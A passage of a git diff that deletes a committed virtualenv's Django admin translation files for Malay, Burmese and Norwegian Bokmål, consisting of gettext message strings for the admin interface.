October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dis" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "A" - -msgctxt "one letter Monday" -msgid "M" -msgstr "I" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Se" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "R" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "K" - -msgctxt "one letter Friday" -msgid "F" -msgstr "J" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Sa" - -msgid "Show" -msgstr "Tunjuk" - -msgid "Hide" -msgstr "Sorok" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/django.mo deleted file mode 100644 index c22fe6cd..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/django.po deleted file mode 100644 index 34054ded..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/django.po +++ /dev/null @@ -1,629 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Yhal Htet Aung , 2013-2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:40+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Burmese (http://www.transifex.com/django/django/language/" -"my/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: my\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "စီမံခန့်ခွဲမှု" - -msgid "All" -msgstr "အားလုံး" - -msgid "Yes" -msgstr "ဟုတ်" - -msgid "No" -msgstr "မဟုတ်" - -msgid "Unknown" -msgstr "အမည်မသိ" - -msgid "Any date" -msgstr "နှစ်သက်ရာရက်စွဲ" - -msgid "Today" -msgstr "ယနေ့" - -msgid "Past 7 days" -msgstr "" - -msgid "This month" -msgstr "ယခုလ" - -msgid "This year" -msgstr "ယခုနှစ်" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "လုပ်ဆောင်ချက်:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "ဖယ်ရှား" - -msgid "action time" -msgstr "" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "" - -msgid "change message" -msgstr "" - -msgid "log entry" -msgstr "" - -msgid "log entries" -msgstr "" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "နှင့်" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "" - -msgid "None" -msgstr "တစ်ခုမှမဟုတ်" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "ထည့်သွင်း %s" - -#, python-format -msgid "Change %s" -msgstr "ပြောင်းလဲ %s" - -msgid "Database error" -msgstr "အချက်အလက်အစုအမှား" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "မှတ်တမ်းပြောင်းလဲ: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "ဒီဂျန်ဂိုစီမံခန့်ခွဲမှု" - -msgid "Site administration" -msgstr "ဆိုက်စီမံခန့်ခွဲမှု" - -msgid "Log in" -msgstr "ဖွင့်ဝင်" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "" - -msgid "We're sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "ပင်မ" - -msgid "Server error" -msgstr "ဆာဗာအမှားပြ" - -msgid "Server error (500)" -msgstr "ဆာဗာအမှားပြ (၅၀၀)" - -msgid "Server Error (500)" -msgstr "ဆာဗာအမှားပြ (၅၀၀)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "သွား" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "စကားဝှက်ပြောင်း" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "ကြိုဆို၊ " - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "စာရွက်စာတမ်း" - -msgid "Log out" -msgstr "ဖွင့်ထွက်" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "History" -msgstr "မှတ်တမ်း" - -msgid "View on site" -msgstr "" - -msgid "Filter" -msgstr "စီစစ်မှု" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "ပယ်ဖျက်" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "ပြောင်းလဲ" - -msgid "Delete?" -msgstr "ပယ်ဖျက်?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "အကျဉ်းချုပ်" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "ထည့်သွင်း" - -msgid "You don't have permission to edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "ရက်စွဲ/အချိန်" - -msgid "User" -msgstr "အသုံးပြုသူ" - -msgid "Action" -msgstr "လုပ်ဆောင်ချက်" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "" - -msgid "Save" -msgstr "သိမ်းဆည်း" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "ရှာဖွေ" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "စကားဝှက်ပြောင်း" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "" - -msgid "Confirm password:" -msgstr "" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "အီးမေးလ်လိပ်စာ:" - -msgid "Reset my password" -msgstr "" - -msgid "All dates" -msgstr "ရက်စွဲအားလုံး" - -#, python-format -msgid "Select %s" -msgstr "ရွေးချယ် %s" - -#, python-format -msgid "Select %s to change" -msgstr "ပြောင်းလဲရန် %s ရွေးချယ်" - -msgid "Date:" -msgstr "ရက်စွဲ:" - -msgid "Time:" -msgstr "အချိန်:" - -msgid "Lookup" -msgstr "ပြန်ကြည့်" - -msgid "Currently:" -msgstr "လက်ရှိ:" - -msgid "Change:" -msgstr "ပြောင်းလဲ:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 000b8bcb..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/djangojs.po deleted file mode 100644 index 06b49fc3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/my/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,206 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Yhal Htet Aung , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Burmese (http://www.transifex.com/django/django/language/" -"my/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: my\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s ကိုရယူနိုင်" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"%s သည်ရယူနိုင်သောစာရင်းဖြစ်။ အောက်ဖော်ပြပါဘူးများတွင်အချို့ကိုရွေးချယ်နိုင်ပြီးဘူးနှစ်ခုကြားရှိ\"ရွေး" -"\"များကိုကလစ်နှိပ်။" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "ယခုဘူးထဲတွင်စာသားရိုက်ထည့်ပြီး %s ရယူနိုင်သောစာရင်းကိုစိစစ်နိုင်။" - -msgid "Filter" -msgstr "စီစစ်မှု" - -msgid "Choose all" -msgstr "အားလံုးရွေး" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "%s အားလံုးကိုတစ်ကြိမ်တည်းဖြင့်ရွေးချယ်ရန်ကလစ်နှိပ်။" - -msgid "Choose" -msgstr "ရွေး" - -msgid "Remove" -msgstr "ဖယ်ရှား" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s ရွေးပြီး" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"%s သည်ရယူနိုင်သောစာရင်းဖြစ်။ အောက်ဖော်ပြပါဘူးများတွင်အချို့ကိုဖယ်ရှားနိုင်ပြီးဘူးနှစ်ခုကြားရှိ\"ဖယ်ရှား" -"\"ကိုကလစ်နှိပ်။" - -msgid "Remove all" -msgstr "အားလံုးဖယ်ရှား" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "%s အားလံုးကိုတစ်ကြိမ်တည်းဖြင့်ဖယ်ရှားရန်ကလစ်နှိပ်။" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s မှ %(sel)s ရွေးချယ်ပြီး" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" - -msgid "Now" -msgstr "ယခု" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "အချိန်ရွေးပါ" - -msgid "Midnight" -msgstr "သန်းခေါင်" - -msgid "6 a.m." -msgstr "မနက်၆နာရီ" - -msgid "Noon" -msgstr "မွန်းတည့်" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "ပယ်ဖျက်" - -msgid "Today" -msgstr "ယနေ့" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "မနေ့" - -msgid "Tomorrow" -msgstr "မနက်ဖြန်" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "ပြသ" - -msgid "Hide" -msgstr "ဖုံးကွယ်" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/django.mo deleted file mode 100644 index ea77ddde..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/django.po deleted file mode 100644 index 3f6445ee..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/django.po +++ /dev/null @@ -1,720 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# jensadne , 2013-2014 -# Jon , 2015-2016 -# Jon , 2017-2020 -# Jon , 2013 -# Jon , 2011,2013 -# Sigurd Gartmann , 2012 -# Tommy Strand , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-07-14 19:53+0200\n" -"PO-Revision-Date: 2020-09-04 13:37+0000\n" -"Last-Translator: Jon \n" -"Language-Team: Norwegian Bokmål (http://www.transifex.com/django/django/" -"language/nb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Slettet %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Kan ikke slette %(name)s" - -msgid "Are you sure?" -msgstr "Er du sikker?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Slett valgte %(verbose_name_plural)s" - -msgid "Administration" -msgstr "Administrasjon" - -msgid "All" -msgstr "Alle" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nei" - -msgid "Unknown" -msgstr "Ukjent" - -msgid "Any date" -msgstr "Når som helst" - -msgid "Today" -msgstr "I dag" - -msgid "Past 7 days" -msgstr "Siste syv dager" - -msgid "This month" -msgstr "Denne måneden" - -msgid "This year" -msgstr "I år" - -msgid "No date" -msgstr "Ingen dato" - -msgid "Has date" -msgstr "Har dato" - -msgid "Empty" -msgstr "Tom" - -msgid "Not empty" -msgstr "Ikke tom" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Vennligst oppgi gyldig %(username)s og passord til en " -"administrasjonsbrukerkonto. Merk at det er forskjell på små og store " -"bokstaver." - -msgid "Action:" -msgstr "Handling:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Legg til ny %(verbose_name)s" - -msgid "Remove" -msgstr "Fjern" - -msgid "Addition" -msgstr "Tillegg" - -msgid "Change" -msgstr "Endre" - -msgid "Deletion" -msgstr "Sletting" - -msgid "action time" -msgstr "tid for handling" - -msgid "user" -msgstr "bruker" - -msgid "content type" -msgstr "innholdstype" - -msgid "object id" -msgstr "objekt-ID" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objekt-repr" - -msgid "action flag" -msgstr "handlingsflagg" - -msgid "change message" -msgstr "endre melding" - -msgid "log entry" -msgstr "logginnlegg" - -msgid "log entries" -msgstr "logginnlegg" - -#, python-format -msgid "Added “%(object)s”." -msgstr "La til \"%(object)s\"." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Endret \"%(object)s\" — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Slettet \"%(object)s\"." - -msgid "LogEntry Object" -msgstr "LogEntry-objekt" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "La til {name} \"{object}\"." - -msgid "Added." -msgstr "Lagt til." - -msgid "and" -msgstr "og" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Endret {fields} for {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Endret {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Slettet {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Ingen felt endret." - -msgid "None" -msgstr "Ingen" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Hold nede «Control», eller «Command» på en Mac, for å velge mer enn én." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" ble lagt til." - -msgid "You may edit it again below." -msgstr "Du kan endre det igjen nedenfor." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} \"{obj}\" ble lagt til. Du kan legge til en ny {name} nedenfor." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} \"{obj}\" ble endret. Du kan redigere videre nedenfor." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "{name} \"{obj}\" ble lagt til. Du kan redigere videre nedenfor." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} \"{obj}\" ble endret. Du kan legge til en ny {name} nedenfor." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" ble endret." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Du må velge objekter for å utføre handlinger på dem. Ingen objekter har " -"blitt endret." - -msgid "No action selected." -msgstr "Ingen handling valgt." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\" ble slettet." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s med ID \"%(key)s\" eksisterer ikke. Kanskje det ble slettet?" - -#, python-format -msgid "Add %s" -msgstr "Legg til ny %s" - -#, python-format -msgid "Change %s" -msgstr "Endre %s" - -#, python-format -msgid "View %s" -msgstr "Se %s" - -msgid "Database error" -msgstr "Databasefeil" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s ble endret." -msgstr[1] "%(count)s %(name)s ble endret." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s valgt" -msgstr[1] "Alle %(total_count)s valgt" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 av %(cnt)s valgt" - -#, python-format -msgid "Change history: %s" -msgstr "Endringshistorikk: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Sletting av %(class_name)s «%(instance)s» krever sletting av følgende " -"beskyttede relaterte objekter: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django administrasjonsside" - -msgid "Django administration" -msgstr "Django-administrasjon" - -msgid "Site administration" -msgstr "Nettstedsadministrasjon" - -msgid "Log in" -msgstr "Logg inn" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s-administrasjon" - -msgid "Page not found" -msgstr "Fant ikke siden" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Beklager, men siden du spør etter finnes ikke." - -msgid "Home" -msgstr "Hjem" - -msgid "Server error" -msgstr "Tjenerfeil" - -msgid "Server error (500)" -msgstr "Tjenerfeil (500)" - -msgid "Server Error (500)" -msgstr "Tjenerfeil (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Det har oppstått en feil. Feilen er blitt rapportert til administrator via e-" -"post, og vil bli fikset snart. Takk for din tålmodighet." - -msgid "Run the selected action" -msgstr "Utfør den valgte handlingen" - -msgid "Go" -msgstr "Gå" - -msgid "Click here to select the objects across all pages" -msgstr "Trykk her for å velge samtlige objekter fra alle sider" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Velg alle %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Nullstill valg" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeller i %(name)s-applikasjonen" - -msgid "Add" -msgstr "Legg til" - -msgid "View" -msgstr "Se" - -msgid "You don’t have permission to view or edit anything." -msgstr "Du har ikke tillatelse til å vise eller endre noe." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Skriv først inn brukernavn og passord. Deretter vil du få mulighet til å " -"endre flere brukerinnstillinger." - -msgid "Enter a username and password." -msgstr "Skriv inn brukernavn og passord." - -msgid "Change password" -msgstr "Endre passord" - -msgid "Please correct the error below." -msgstr "Vennligst korriger feilen under." - -msgid "Please correct the errors below." -msgstr "Vennligst korriger feilene under." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Skriv inn et nytt passord for brukeren %(username)s." - -msgid "Welcome," -msgstr "Velkommen," - -msgid "View site" -msgstr "Vis nettsted" - -msgid "Documentation" -msgstr "Dokumentasjon" - -msgid "Log out" -msgstr "Logg ut" - -#, python-format -msgid "Add %(name)s" -msgstr "Legg til ny %(name)s" - -msgid "History" -msgstr "Historikk" - -msgid "View on site" -msgstr "Vis på nettsted" - -msgid "Filter" -msgstr "Filtrering" - -msgid "Clear all filters" -msgstr "Fjern alle filtre" - -msgid "Remove from sorting" -msgstr "Fjern fra sortering" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorteringsprioritet: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Slå av og på sortering" - -msgid "Delete" -msgstr "Slett" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Om du sletter %(object_name)s «%(escaped_object)s», vil også relaterte " -"objekter slettes, men du har ikke tillatelse til å slette følgende " -"objekttyper:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Sletting av %(object_name)s «%(escaped_object)s» krever sletting av følgende " -"beskyttede relaterte objekter:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Er du sikker på at du vil slette %(object_name)s «%(escaped_object)s»? Alle " -"de følgende relaterte objektene vil bli slettet:" - -msgid "Objects" -msgstr "Objekter" - -msgid "Yes, I’m sure" -msgstr "Ja, jeg er sikker" - -msgid "No, take me back" -msgstr "Nei, ta meg tilbake" - -msgid "Delete multiple objects" -msgstr "Slett flere objekter" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Sletting av det valgte %(objects_name)s ville resultere i sletting av " -"relaterte objekter, men kontoen din har ikke tillatelse til å slette " -"følgende objekttyper:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Sletting av det valgte %(objects_name)s ville kreve sletting av følgende " -"beskyttede relaterte objekter:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Er du sikker på vil slette det valgte %(objects_name)s? De følgende " -"objektene og deres relaterte objekter vil bli slettet:" - -msgid "Delete?" -msgstr 